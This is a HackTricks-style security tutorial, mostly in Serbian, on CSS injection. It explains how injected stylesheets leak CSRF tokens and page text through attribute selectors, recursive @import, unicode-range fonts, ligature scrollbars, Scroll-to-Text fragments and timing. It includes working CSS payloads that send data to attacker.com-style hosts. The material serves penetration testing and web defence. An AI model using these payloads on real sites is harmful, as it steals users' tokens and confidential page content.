CSS Injection

Support HackTricks

CSS Injection

Attribute Selector

CSS selektori su napravljeni da odgovaraju vrednostima atributa name i value elementa input. Ako atribut vrednosti elementa input počinje sa određenim karakterom, učitava se unapred definisani spoljašnji resurs:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Međutim, ovaj pristup se suočava sa ograničenjem kada se radi o skrivenim ulaznim elementima (type="hidden") jer skriveni elementi ne učitavaju pozadine.

Obilaženje za skrivene elemente

Da biste zaobišli ovo ograničenje, možete ciljati sledeći element brata koristeći ~ general sibling combinator. CSS pravilo se zatim primenjuje na sve braće koja slede skriveni ulazni element, uzrokujući učitavanje pozadinske slike:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Praktičan primer iskorišćavanja ove tehnike detaljno je opisan u priloženom kodu. Možete ga pogledati ovde.

Preduslovi za CSS Injection

Da bi tehnika CSS Injection bila efikasna, moraju biti ispunjeni određeni uslovi:

  1. Dužina Payload-a: Vektor CSS injekcije mora podržavati dovoljno duge payload-ove da bi se prilagodili kreiranim selektorima.

  2. Ponovna evaluacija CSS-a: Trebalo bi da imate mogućnost da uokvirite stranicu, što je neophodno za pokretanje ponovne evaluacije CSS-a sa novim generisanim payload-ima.

  3. Spoljni resursi: Tehnika pretpostavlja mogućnost korišćenja slika hostovanih na spoljnim serverima. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta.

Blind Attribute Selector

Kao što je objašnjeno u ovom postu, moguće je kombinovati selektore :has i :not da bi se identifikovao sadržaj čak i iz slepih elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injekciju. Takođe je moguće koristiti te selektore za ekstrakciju informacija iz nekoliko blokova istog tipa kao u:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kombinovanjem ovoga sa sledećom @import tehnikom, moguće je eksfiltrirati mnogo informacija koristeći CSS injekciju sa slepih stranica uz blind-css-exfiltration.

@import

Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate biti u mogućnosti da pošaljete više linkova žrtvi, ili morate biti u mogućnosti da iframe-ujete stranicu ranjivu na CSS injekciju.

Međutim, postoji još jedna pametna tehnika koja koristi CSS @import da poboljša kvalitet tehnike.

Ovo je prvi put prikazano od strane Pepe Vila i funkcioniše ovako:

Umesto da učitavamo istu stranicu iznova i iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj), učitaćemo stranicu samo jednom i samo sa importom na server napadača (ovo je payload koji treba poslati žrtvi):

@import url('//attacker.com:5001/start?');
  1. Uvoz će primiti neki CSS skript od napadača i pregledač će ga učitati.

  2. Prvi deo CSS skripta koji će napadač poslati je još jedan @import na server napadača ponovo.

  3. Server napadača neće odgovoriti na ovaj zahtev još, jer želimo da otkrijemo neke karaktere i zatim odgovorimo na ovaj uvoz sa payload-om da otkrijemo sledeće.

  4. Drugi i veći deo payload-a će biti payload za curenje atribut selektora

  5. Ovo će poslati serveru napadača prvi karakter tajne i poslednji.

  6. Kada server napadača primi prvi i poslednji karakter tajne, on će odgovoriti na uvoz zatražen u koraku 2.

  7. Odgovor će biti tačno isti kao u koracima 2, 3 i 4, ali ovaj put će pokušati da pronađe drugi karakter tajne i zatim pretposlednji.

Napadač će slediti tu petlju dok ne uspe potpuno da otkrije tajnu.

Možete pronaći originalni kod Pepe Vile za eksploataciju ovde ili možete pronaći skoro isti kod ali komentarisani ovde.

Skript će pokušati da otkrije 2 karaktera svaki put (od početka i od kraja) jer atribut selektor omogućava da se rade stvari kao:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Ovo omogućava skripti da brže otkrije tajnu.

Ponekad skripta ne detektuje ispravno da je otkriveni prefiks + sufiks već potpuna zastava i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zamrznuti. Bez brige, samo proverite izlaz jer možete videti zastavu tamo.

Ostali selektori

Ostali načini za pristup delovima DOM-a pomoću CSS selektora:

  • .class-to-search:nth-child(2): Ovo će pretražiti drugi element sa klasom "class-to-search" u DOM-u.

  • :empty selektor: Koristi se na primer u ovoj analizi:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Referenca: CSS zasnovan napad: Zloupotreba unicode-range @font-face, Greška zasnovana XS-Search PoC od @terjanq

Opšta namera je da se koristi prilagođeni font sa kontrolisanog krajnjeg tačke i osigura da se tekst (u ovom slučaju, 'A') prikazuje sa ovim fontom samo ako navedeni resurs (favicon.ico) ne može biti učitan.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Korišćenje Prilagođenih Fontova:

  • Prilagođeni font se definiše koristeći pravilo @font-face unutar <style> taga u <head> sekciji.

  • Font se naziva poc i preuzima se sa spoljnog krajnjeg tačke (http://attacker.com/?leak).

  • Svojstvo unicode-range je postavljeno na U+0041, cilja specifični Unicode karakter 'A'.

  1. Element Objekta sa Rezervnim Tekstom:

  • <object> element sa id="poc0" se kreira u <body> sekciji. Ovaj element pokušava da učita resurs sa http://192.168.0.1/favicon.ico.

  • font-family za ovaj element je postavljen na 'poc', kao što je definisano u <style> sekciji.

  • Ako resurs (favicon.ico) ne uspe da se učita, rezervni sadržaj (slovo 'A') unutar <object> taga se prikazuje.

  • Rezervni sadržaj ('A') će biti prikazan koristeći prilagođeni font poc ako spoljašnji resurs ne može da se učita.

Stilizovanje Fragmenta Teksta za Pomeranje

:target pseudo-klasa se koristi za selektovanje elementa koji je ciljan od strane URL fragmenta, kao što je navedeno u CSS Selectors Level 4 specification. Ključno je razumeti da ::target-text ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.

Bezbednosna zabrinutost se javlja kada napadači koriste funkciju Scroll-to-text fragmenta, omogućavajući im da potvrde prisustvo specifičnog teksta na veb stranici učitavanjem resursa sa svog servera putem HTML injekcije. Metoda uključuje injektovanje CSS pravila poput ovog:

:target::before { content : url(target.png) }

U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs target.png se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno kreirane URL adrese koja ugrađuje injektovani CSS zajedno sa fragmentom Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ovde, napad manipuliše HTML injekcijom kako bi prenio CSS kod, ciljajući na specifičan tekst "Administrator" kroz Scroll-to-text fragment (#:~:text=Administrator). Ako se tekst pronađe, navedeni resurs se učitava, nenamerno signalizirajući svoju prisutnost napadaču.

Za ublažavanje, sledeće tačke treba imati na umu:

  1. Ograničeno STTF podudaranje: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.

  2. Ograničenje na kontekste najvišeg nivoa pretraživanja: STTF funkcioniše isključivo u kontekstima najvišeg nivoa pretraživanja i ne radi unutar iframe-ova, čineći svaki pokušaj eksploatacije uočljivijim za korisnika.

  3. Potrebna aktivacija korisnika: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije moguće samo kroz navigacije koje inicira korisnik. Ovaj zahtev značajno smanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor bloga ukazuje na specifične uslove i zaobilaženja (npr. socijalno inženjerstvo, interakcija sa prisutnim ekstenzijama pretraživača) koja bi mogla olakšati automatizaciju napada.

Svest o ovim mehanizmima i potencijalnim ranjivostima je ključna za održavanje bezbednosti veba i zaštitu od ovakvih eksploatativnih taktika.

Za više informacija proverite izvorni izveštaj: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Možete proveriti eksploit koristeći ovu tehniku za CTF ovde.

@font-face / unicode-range

Možete odrediti spoljašnje fontove za specifične unicode vrednosti koje će biti prikupljene samo ako su te unicode vrednosti prisutne na stranici. Na primer:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanje podataka u sjajnom stilu – odnosno kako iskoristiti CSS za napade na web aplikaciju

The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:

  1. Creation of Custom Fonts:

  • SVG fonts are crafted with glyphs having a horiz-adv-x attribute, which sets a large width for a glyph representing a two-character sequence.

  • Example SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, where "XY" denotes a two-character sequence.

  • These fonts are then converted to woff format using fontforge.

  1. Detection of Width Changes:

  • CSS is used to ensure that text does not wrap (white-space: nowrap) and to customize the scrollbar style.

  • The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.

  • The CSS involved:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:

  • Step 1: Fonts are created for pairs of characters with substantial width.

  • Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.

  • Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.

  • Step 4: Detection of the three-character ligature is carried out.

  • Step 5: The process repeats, progressively revealing the entire text.

  1. Optimization:

  • The current initialization method using <meta refresh=... is not optimal.

  • A more efficient approach could involve the CSS @import trick, enhancing the exploit's performance.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC koristeći Comic Sans od @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.

The concept revolves around utilizing an animation to incrementally expand a div's width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:

  1. Prefix: The initial line.

  2. Suffix: The subsequent line(s).

The transition stages of the characters would appear as follows:

C ADB

CA DB

CAD B

CADB

During this transition, the unicode-range trick is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.

Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.

Basically, the unicode-range is used to detect a char, but as we don't want to load an external font, we need to find another way. When the char is found, it's given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Ekstrakcija tekstualnog čvora (III): curenje charset-a sa podrazumevanjem fonta skrivajući elemente (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom izveštaju

Ovaj slučaj je veoma sličan prethodnom, međutim, u ovom slučaju cilj pravljenja specifičnih karaktera većim od drugih je da se sakrije nešto poput dugmeta koje ne bi trebalo da bude pritisnuto od strane bota ili slike koja se neće učitati. Tako bismo mogli meriti akciju (ili nedostatak akcije) i znati da li je specifičan karakter prisutan unutar teksta.

Ekstrakcija tekstualnog čvora (III): curenje charset-a putem vremenskog keširanja (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom izveštaju

U ovom slučaju, mogli bismo pokušati da curimo da li je karakter u tekstu učitavanjem lažnog fonta iz iste domene:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ako postoji podudaranje, font će biti učitan sa /static/bootstrap.min.css?q=1. Iako se neće učitati uspešno, pregledač bi trebao da ga kešira, i čak i ako nema keša, postoji 304 not modified mehanizam, tako da bi odgovor trebao biti brži od drugih stvari.

Međutim, ako razlika u vremenu između keširanog odgovora i onog koji nije keširan nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što se brzina ne razlikuje mnogo, a drugi problem je što bot koristi disk-cache-size=1 flag, što je zaista promišljeno.

Ekstrakcija tekstualnog čvora (III): curenje charset-a vremenskim učitavanjem stotina lokalnih "fontova" (ne zahteva spoljne resurse)

Reference: Ovo se pominje kao neuspešno rešenje u ovom izveštaju

U ovom slučaju možete naznačiti CSS da učita stotine lažnih fontova sa iste domene kada dođe do podudaranja. Na ovaj način možete meriti vreme koje je potrebno i otkriti da li se karakter pojavljuje ili ne sa nečim poput:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

I kod bota izgleda ovako:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Dakle, ako se font ne poklapa, očekuje se da će vreme odgovora prilikom posete botu biti otprilike 30 sekundi. Međutim, ako dođe do poklapanja fonta, biće poslato više zahteva za preuzimanje fonta, što će uzrokovati kontinuiranu aktivnost mreže. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov zaustavljanja i primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za određivanje da li postoji poklapanje fonta.

References

Support HackTricks

Last updated